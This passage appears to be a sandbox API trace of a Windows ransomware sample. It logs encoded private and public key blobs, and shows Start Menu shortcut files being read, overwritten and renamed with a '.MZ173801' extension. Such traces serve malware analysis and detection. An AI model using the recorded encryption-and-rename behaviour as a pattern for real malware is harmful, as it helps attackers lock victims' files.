lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.146] GetCurrentThreadId () returned 0xab4 [0214.146] GetCurrentThreadId () returned 0xab4 [0214.146] GetCurrentThreadId () returned 0xab4 [0214.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.147] GetCurrentThreadId () returned 0xab4 [0214.147] GetCurrentThreadId () returned 0xab4 [0214.147] GetCurrentThreadId () returned 0xab4 [0214.147] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.147] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.147] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.147] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x45c [0214.147] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.147] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x45c, lpOverlapped=0x0) returned 1 [0214.219] CloseHandle (hObject=0x330) returned 1 [0214.219] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.220] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x45c, lpOverlapped=0x0) returned 1 [0214.221] CloseHandle (hObject=0x330) returned 1 [0214.221] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.mz173801")) returned 1 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] GetCurrentThreadId () returned 0xab4 [0214.222] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d51ec6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34d51ec6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x34d51ec6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Information.lnk", cAlternateFileName="")) returned 1 [0214.222] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.222] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.222] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d51ec6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34d51ec6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x34d51ec6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a)) returned 1 [0214.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk")) returned 0x20 [0214.222] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk", dwFileAttributes=0x80) returned 1 [0214.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 